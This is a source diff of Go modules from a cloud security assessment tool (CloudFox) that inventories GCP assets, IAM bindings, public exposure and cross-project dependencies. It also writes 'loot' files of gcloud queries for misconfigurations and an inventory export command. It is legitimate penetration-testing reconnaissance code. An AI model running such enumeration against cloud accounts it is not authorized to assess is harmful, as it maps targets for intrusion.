ProjectDependencies map[string][]ResourceDependency // projectID -> dependencies
|
||||
CrossProject []CrossProjectResource // global (cross-project by nature)
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type AssetInventoryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AssetInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AssetInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPAssetInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &AssetInventoryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectAssets: make(map[string][]assetservice.AssetInfo),
|
||||
ProjectTypeCounts: make(map[string][]assetservice.AssetTypeCount),
|
||||
ProjectDependencies: make(map[string][]ResourceDependency),
|
||||
CrossProject: []CrossProjectResource{},
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) getAllAssets() []assetservice.AssetInfo {
|
||||
var all []assetservice.AssetInfo
|
||||
for _, assets := range m.ProjectAssets {
|
||||
all = append(all, assets...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) getAllTypeCounts() []assetservice.AssetTypeCount {
|
||||
// Merge counts from all projects
|
||||
countMap := make(map[string]int)
|
||||
for _, counts := range m.ProjectTypeCounts {
|
||||
for _, c := range counts {
|
||||
countMap[c.AssetType] += c.Count
|
||||
}
|
||||
}
|
||||
|
||||
var all []assetservice.AssetTypeCount
|
||||
for assetType, count := range countMap {
|
||||
all = append(all, assetservice.AssetTypeCount{
|
||||
AssetType: assetType,
|
||||
Count: count,
|
||||
})
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) getAllDependencies() []ResourceDependency {
|
||||
var all []ResourceDependency
|
||||
for _, deps := range m.ProjectDependencies {
|
||||
all = append(all, deps...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) initializeLootForProject(projectID string) {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["asset-inventory-details"] = &internal.LootFile{
|
||||
Name: "asset-inventory-details",
|
||||
Contents: "# Cloud Asset Inventory Details\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["asset-inventory-commands"] = &internal.LootFile{
|
||||
Name: "asset-inventory-commands",
|
||||
Contents: "# Cloud Asset Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// If --all is set, enable all flags
|
||||
if showAll {
|
||||
showCounts = true
|
||||
checkIAM = true
|
||||
showDependencies = true
|
||||
}
|
||||
|
||||
// If no flags set, default to basic asset listing
|
||||
noFlagsSet := !showCounts && !checkIAM && !showDependencies
|
||||
|
||||
// Run requested analyses
|
||||
if showCounts {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectCounts)
|
||||
}
|
||||
|
||||
if checkIAM {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectIAM)
|
||||
} else if noFlagsSet {
|
||||
// Only run basic listing if no flags and IAM not requested (IAM includes basic info)
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProject)
|
||||
}
|
||||
|
||||
if showDependencies {
|
||||
m.processProjectsDependencies(ctx, logger)
|
||||
}
|
||||
|
||||
// Build summary message
|
||||
var summaryParts []string
|
||||
|
||||
allTypeCounts := m.getAllTypeCounts()
|
||||
if len(allTypeCounts) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d asset type(s)", len(allTypeCounts)))
|
||||
}
|
||||
|
||||
allAssets := m.getAllAssets()
|
||||
if len(allAssets) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d asset(s)", len(allAssets)))
|
||||
}
|
||||
|
||||
if checkIAM {
|
||||
publicCount := 0
|
||||
for _, asset := range allAssets {
|
||||
if asset.PublicAccess {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
if publicCount > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d with public access", publicCount))
|
||||
}
|
||||
}
|
||||
|
||||
allDeps := m.getAllDependencies()
|
||||
if len(allDeps) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d dependencies", len(allDeps)))
|
||||
}
|
||||
|
||||
if len(m.CrossProject) > 0 {
|
||||
summaryParts = append(summaryParts, fmt.Sprintf("%d cross-project resources", len(m.CrossProject)))
|
||||
}
|
||||
|
||||
if len(summaryParts) == 0 {
|
||||
logger.InfoM("No assets found", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %s", strings.Join(summaryParts, ", ")), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := assetservice.New()
|
||||
assets, err := svc.ListAssets(projectID, assetTypes)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
|
||||
for _, asset := range assets {
|
||||
m.addToLoot(projectID, asset)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProjectIAM(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating assets with IAM in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := assetservice.New()
|
||||
assets, err := svc.ListAssetsWithIAM(projectID, assetTypes)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate assets with IAM in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
|
||||
for _, asset := range assets {
|
||||
m.addToLoot(projectID, asset)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProjectCounts(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Counting assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := assetservice.New()
|
||||
counts, err := svc.GetAssetTypeCounts(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not count assets in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectTypeCounts[projectID] = counts
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// processProjectsDependencies analyzes assets with full dependency tracking
|
||||
func (m *AssetInventoryModule) processProjectsDependencies(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Analyzing assets and dependencies...", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
|
||||
assetClient, err := asset.NewClient(ctx)
|
||||
if err != nil {
|
||||
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
|
||||
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
"Could not create Cloud Asset client")
|
||||
return
|
||||
}
|
||||
defer assetClient.Close()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
wg.Add(1)
|
||||
go func(project string) {
|
||||
defer wg.Done()
|
||||
m.processProjectWithDependencies(ctx, project, assetClient, logger)
|
||||
}(projectID)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// Analyze cross-project dependencies
|
||||
m.analyzeCrossProjectResources()
|
||||
|
||||
// Generate query templates
|
||||
m.generateQueryTemplates()
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) processProjectWithDependencies(ctx context.Context, projectID string, assetClient *asset.Client, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Analyzing dependencies in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
parent := fmt.Sprintf("projects/%s", projectID)
|
||||
req := &assetpb.ListAssetsRequest{
|
||||
Parent: parent,
|
||||
ContentType: assetpb.ContentType_RESOURCE,
|
||||
PageSize: 500,
|
||||
}
|
||||
|
||||
it := assetClient.ListAssets(ctx, req)
|
||||
|
||||
for {
|
||||
assetItem, err := it.Next()
|
||||
if err == iterator.Done {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
|
||||
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
|
||||
break
|
||||
}
|
||||
|
||||
// Convert to AssetInfo for consistency
|
||||
assetInfo := assetservice.AssetInfo{
|
||||
Name: assetItem.Name,
|
||||
AssetType: assetItem.AssetType,
|
||||
ProjectID: projectID,
|
||||
}
|
||||
|
||||
if assetItem.Resource != nil {
|
||||
assetInfo.Location = assetItem.Resource.Location
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assetInfo)
|
||||
m.mu.Unlock()
|
||||
|
||||
// Analyze dependencies
|
||||
m.analyzeAssetDependencies(assetItem, projectID)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) analyzeAssetDependencies(assetItem *assetpb.Asset, projectID string) {
|
||||
if assetItem.Resource == nil || assetItem.Resource.Data == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Common dependency patterns
|
||||
dependencyFields := map[string]string{
|
||||
"network": "uses",
|
||||
"subnetwork": "uses",
|
||||
"serviceAccount": "uses",
|
||||
"disk": "uses",
|
||||
"snapshot": "references",
|
||||
"image": "references",
|
||||
"keyRing": "uses",
|
||||
"cryptoKey": "uses",
|
||||
"topic": "references",
|
||||
"subscription": "references",
|
||||
"bucket": "uses",
|
||||
"dataset": "references",
|
||||
"cluster": "contains",
|
||||
}
|
||||
|
||||
for field, depType := range dependencyFields {
|
||||
if value, ok := assetItem.Resource.Data.Fields[field]; ok {
|
||||
targetResource := value.GetStringValue()
|
||||
if targetResource != "" {
|
||||
dependency := ResourceDependency{
|
||||
SourceResource: assetItem.Name,
|
||||
SourceType: assetItem.AssetType,
|
||||
TargetResource: targetResource,
|
||||
TargetType: m.inferResourceType(field),
|
||||
DependencyType: depType,
|
||||
ProjectID: projectID,
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectDependencies[projectID] = append(m.ProjectDependencies[projectID], dependency)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) inferResourceType(fieldName string) string {
|
||||
typeMap := map[string]string{
|
||||
"network": "compute.googleapis.com/Network",
|
||||
"subnetwork": "compute.googleapis.com/Subnetwork",
|
||||
"serviceAccount": "iam.googleapis.com/ServiceAccount",
|
||||
"disk": "compute.googleapis.com/Disk",
|
||||
"snapshot": "compute.googleapis.com/Snapshot",
|
||||
"image": "compute.googleapis.com/Image",
|
||||
"keyRing": "cloudkms.googleapis.com/KeyRing",
|
||||
"cryptoKey": "cloudkms.googleapis.com/CryptoKey",
|
||||
"topic": "pubsub.googleapis.com/Topic",
|
||||
"subscription": "pubsub.googleapis.com/Subscription",
|
||||
"bucket": "storage.googleapis.com/Bucket",
|
||||
"dataset": "bigquery.googleapis.com/Dataset",
|
||||
"cluster": "container.googleapis.com/Cluster",
|
||||
}
|
||||
|
||||
if assetType, ok := typeMap[fieldName]; ok {
|
||||
return assetType
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) analyzeCrossProjectResources() {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
targetToSources := make(map[string][]string)
|
||||
targetToType := make(map[string]string)
|
||||
|
||||
allDeps := m.getAllDependencies()
|
||||
for _, dep := range allDeps {
|
||||
targetProject := m.extractProjectFromResource(dep.TargetResource)
|
||||
if targetProject != "" && targetProject != dep.ProjectID {
|
||||
targetToSources[dep.TargetResource] = append(targetToSources[dep.TargetResource], dep.ProjectID)
|
||||
targetToType[dep.TargetResource] = dep.TargetType
|
||||
}
|
||||
}
|
||||
|
||||
for target, sources := range targetToSources {
|
||||
crossProject := CrossProjectResource{
|
||||
ResourceName: target,
|
||||
ResourceType: targetToType[target],
|
||||
OwnerProject: m.extractProjectFromResource(target),
|
||||
AccessedFrom: sources,
|
||||
}
|
||||
|
||||
m.CrossProject = append(m.CrossProject, crossProject)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) extractProjectFromResource(resource string) string {
|
||||
if strings.Contains(resource, "projects/") {
|
||||
parts := strings.Split(resource, "/")
|
||||
for i, part := range parts {
|
||||
if part == "projects" && i+1 < len(parts) {
|
||||
return parts[i+1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) extractResourceName(resource string) string {
|
||||
parts := strings.Split(resource, "/")
|
||||
if len(parts) > 0 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return resource
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) generateQueryTemplates() {
|
||||
templates := []struct {
|
||||
Name string
|
||||
Description string
|
||||
Query string
|
||||
}{
|
||||
{"Public Storage Buckets", "Find all public GCS buckets", `resource.type="storage.googleapis.com/Bucket" AND resource.data.iamConfiguration.uniformBucketLevelAccess.enabled=false`},
|
||||
{"VMs with External IPs", "Find compute instances with external IP addresses", `resource.type="compute.googleapis.com/Instance" AND resource.data.networkInterfaces.accessConfigs:*`},
|
||||
{"Service Account Keys", "Find all user-managed service account keys", `resource.type="iam.googleapis.com/ServiceAccountKey" AND resource.data.keyType="USER_MANAGED"`},
|
||||
{"Firewall Rules - Open to Internet", "Find firewall rules allowing 0.0.0.0/0", `resource.type="compute.googleapis.com/Firewall" AND resource.data.sourceRanges:"0.0.0.0/0"`},
|
||||
{"Cloud SQL - Public IPs", "Find Cloud SQL instances with public IP", `resource.type="sqladmin.googleapis.com/Instance" AND resource.data.settings.ipConfiguration.ipv4Enabled=true`},
|
||||
{"Unencrypted Disks", "Find disks without customer-managed encryption", `resource.type="compute.googleapis.com/Disk" AND NOT resource.data.diskEncryptionKey:*`},
|
||||
{"GKE Clusters - Legacy Auth", "Find GKE clusters with legacy authentication", `resource.type="container.googleapis.com/Cluster" AND resource.data.legacyAbac.enabled=true`},
|
||||
}
|
||||
|
||||
// Add templates and export commands to each project's loot
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
m.mu.Lock()
|
||||
m.initializeLootForProject(projectID)
|
||||
|
||||
if lootFile := m.LootMap[projectID]["asset-inventory-commands"]; lootFile != nil {
|
||||
for _, t := range templates {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# %s - %s\ngcloud asset search-all-resources --scope=projects/%s --query='%s'\n\n",
|
||||
t.Name, t.Description, projectID, t.Query,
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += "# Export complete asset inventory\n"
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"gcloud asset export --project=%s --content-type=resource --output-path=gs://BUCKET_NAME/%s-assets.json\n",
|
||||
projectID, projectID,
|
||||
)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) addToLoot(projectID string, asset assetservice.AssetInfo) {
|
||||
if lootFile := m.LootMap[projectID]["asset-inventory-details"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# ASSET: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Type: %s\n# Project: %s\n# Location: %s\n",
|
||||
asset.Name, asset.AssetType, asset.ProjectID, asset.Location)
|
||||
|
||||
if asset.PublicAccess {
|
||||
lootFile.Contents += "# Public Access: Yes\n"
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildCountsTable(counts []assetservice.AssetTypeCount) *internal.TableFile {
|
||||
if len(counts) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Sort by count descending
|
||||
sort.Slice(counts, func(i, j int) bool {
|
||||
return counts[i].Count > counts[j].Count
|
||||
})
|
||||
|
||||
header := []string{"Asset Type", "Count"}
|
||||
var body [][]string
|
||||
for _, tc := range counts {
|
||||
body = append(body, []string{
|
||||
tc.AssetType,
|
||||
fmt.Sprintf("%d", tc.Count),
|
||||
})
|
||||
}
|
||||
|
||||
return &internal.TableFile{
|
||||
Name: "asset-counts",
|
||||
Header: header,
|
||||
Body: body,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildAssetsTable(assets []assetservice.AssetInfo) []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
if len(assets) == 0 {
|
||||
return tables
|
||||
}
|
||||
|
||||
if checkIAM {
|
||||
header := []string{"Project", "Name", "Asset Type", "Location", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
var body [][]string
|
||||
for _, asset := range assets {
|
||||
publicAccess := "No"
|
||||
if asset.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
if len(asset.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
assetservice.ExtractAssetTypeShort(asset.AssetType),
|
||||
asset.Location,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range asset.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
assetservice.ExtractAssetTypeShort(asset.AssetType),
|
||||
asset.Location,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "assets",
|
||||
Header: header,
|
||||
Body: body,
|
||||
})
|
||||
|
||||
// Public assets table
|
||||
var publicBody [][]string
|
||||
for _, asset := range assets {
|
||||
if asset.PublicAccess {
|
||||
for _, binding := range asset.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
if shared.IsPublicPrincipal(member) {
|
||||
publicBody = append(publicBody, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
asset.AssetType,
|
||||
binding.Role,
|
||||
member,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(publicBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "public-assets",
|
||||
Header: []string{"Project", "Name", "Asset Type", "IAM Binding Role", "IAM Binding Principal"},
|
||||
Body: publicBody,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
header := []string{"Project", "Name", "Asset Type", "Location"}
|
||||
var body [][]string
|
||||
for _, asset := range assets {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
assetservice.ExtractAssetTypeShort(asset.AssetType),
|
||||
asset.Location,
|
||||
})
|
||||
}
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "assets",
|
||||
Header: header,
|
||||
Body: body,
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildDependenciesTable(deps []ResourceDependency) *internal.TableFile {
|
||||
if len(deps) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
depsHeader := []string{"Project", "Source", "Dependency Type", "Target", "Target Type"}
|
||||
var depsBody [][]string
|
||||
for _, d := range deps {
|
||||
depsBody = append(depsBody, []string{
|
||||
m.GetProjectName(d.ProjectID),
|
||||
m.extractResourceName(d.SourceResource),
|
||||
d.DependencyType,
|
||||
m.extractResourceName(d.TargetResource),
|
||||
assetservice.ExtractAssetTypeShort(d.TargetType),
|
||||
})
|
||||
}
|
||||
|
||||
return &internal.TableFile{
|
||||
Name: "asset-dependencies",
|
||||
Header: depsHeader,
|
||||
Body: depsBody,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildCrossProjectTable() *internal.TableFile {
|
||||
if len(m.CrossProject) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
crossHeader := []string{"Resource", "Type", "Owner Project", "Accessed From"}
|
||||
var crossBody [][]string
|
||||
for _, c := range m.CrossProject {
|
||||
crossBody = append(crossBody, []string{
|
||||
m.extractResourceName(c.ResourceName),
|
||||
assetservice.ExtractAssetTypeShort(c.ResourceType),
|
||||
c.OwnerProject,
|
||||
strings.Join(c.AccessedFrom, ", "),
|
||||
})
|
||||
}
|
||||
|
||||
return &internal.TableFile{
|
||||
Name: "cross-project-resources",
|
||||
Header: crossHeader,
|
||||
Body: crossBody,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if counts, ok := m.ProjectTypeCounts[projectID]; ok {
|
||||
if table := m.buildCountsTable(counts); table != nil {
|
||||
tableFiles = append(tableFiles, *table)
|
||||
}
|
||||
}
|
||||
|
||||
if assets, ok := m.ProjectAssets[projectID]; ok {
|
||||
tableFiles = append(tableFiles, m.buildAssetsTable(assets)...)
|
||||
}
|
||||
|
||||
if deps, ok := m.ProjectDependencies[projectID]; ok {
|
||||
if table := m.buildDependenciesTable(deps); table != nil {
|
||||
tableFiles = append(tableFiles, *table)
|
||||
}
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectAssets {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectTypeCounts {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectDependencies {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = AssetInventoryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Add cross-project table at org level if we have hierarchy and cross-project data
|
||||
if crossTable := m.buildCrossProjectTable(); crossTable != nil && m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
|
||||
orgID := m.Hierarchy.Organizations[0].ID
|
||||
outputData.OrgLevelData[orgID] = AssetInventoryOutput{
|
||||
Table: []internal.TableFile{*crossTable},
|
||||
Loot: nil,
|
||||
}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
var tables []internal.TableFile
|
||||
|
||||
allCounts := m.getAllTypeCounts()
|
||||
if table := m.buildCountsTable(allCounts); table != nil {
|
||||
tables = append(tables, *table)
|
||||
}
|
||||
|
||||
allAssets := m.getAllAssets()
|
||||
tables = append(tables, m.buildAssetsTable(allAssets)...)
|
||||
|
||||
allDeps := m.getAllDependencies()
|
||||
if table := m.buildDependenciesTable(allDeps); table != nil {
|
||||
tables = append(tables, *table)
|
||||
}
|
||||
|
||||
if table := m.buildCrossProjectTable(); table != nil {
|
||||
tables = append(tables, *table)
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := AssetInventoryOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,885 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"google.golang.org/api/compute/v1"
|
||||
sqladmin "google.golang.org/api/sqladmin/v1beta4"
|
||||
)
|
||||
|
||||
// Module name constant
|
||||
const GCP_BACKUPINVENTORY_MODULE_NAME string = "backup-inventory"
|
||||
|
||||
var GCPBackupInventoryCommand = &cobra.Command{
|
||||
Use: GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
Aliases: []string{"backups", "backup", "snapshots", "dr"},
|
||||
Short: "Enumerate backup policies, protected resources, and identify backup gaps",
|
||||
Long: `Inventory backup and disaster recovery configurations across GCP resources.
|
||||
|
||||
Features:
|
||||
- Compute Engine disk snapshots and snapshot schedules
|
||||
- Cloud SQL automated backups and point-in-time recovery
|
||||
- Identifies unprotected resources (no backup coverage)
|
||||
- Analyzes backup retention policies
|
||||
- Checks for stale or failing backups`,
|
||||
